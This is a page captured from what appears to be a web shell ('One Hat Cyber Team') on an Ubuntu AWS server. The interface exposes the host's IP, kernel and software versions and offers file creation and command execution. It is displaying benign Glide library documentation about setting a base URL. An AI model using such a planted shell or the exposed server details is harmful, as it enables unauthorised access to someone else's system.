⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.5
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
league
/
glide
/
docs
/
0.3
/
config
/
View File Name :
base-url.md
--- layout: default title: Base URL --- # Base URL It's common to route all images under the path `/img/`. However, since Glide maps image request paths directly to the image source paths, you would have to have an `/img/` folder in your source location as well. For example: ~~~ js 'http://example.com/img/kayaks.jpg' => '/path/to/source/img/kayaks.jpg' 'http://example.com/img/users/jonathan.jpg' => '/path/to/source/img/users/jonathan.jpg' ~~~ Since this isn't ideal, Glide allows you to define a `base_url` which is omitted from the source path. ## Set the base URL ~~~ php <?php // Set using factory $server = League\Glide\ServerFactory::create([ 'base_url' => '/img/', ]); // Set using setter method $server->setBaseUrl('/img/'); ~~~ With the base URL configured, the new image source paths will no longer include `/img/`. ~~~ js 'http://example.com/img/kayaks.jpg' => '/path/to/source/kayaks.jpg' 'http://example.com/img/users/jonathan.jpg' => '/path/to/source/users/jonathan.jpg' ~~~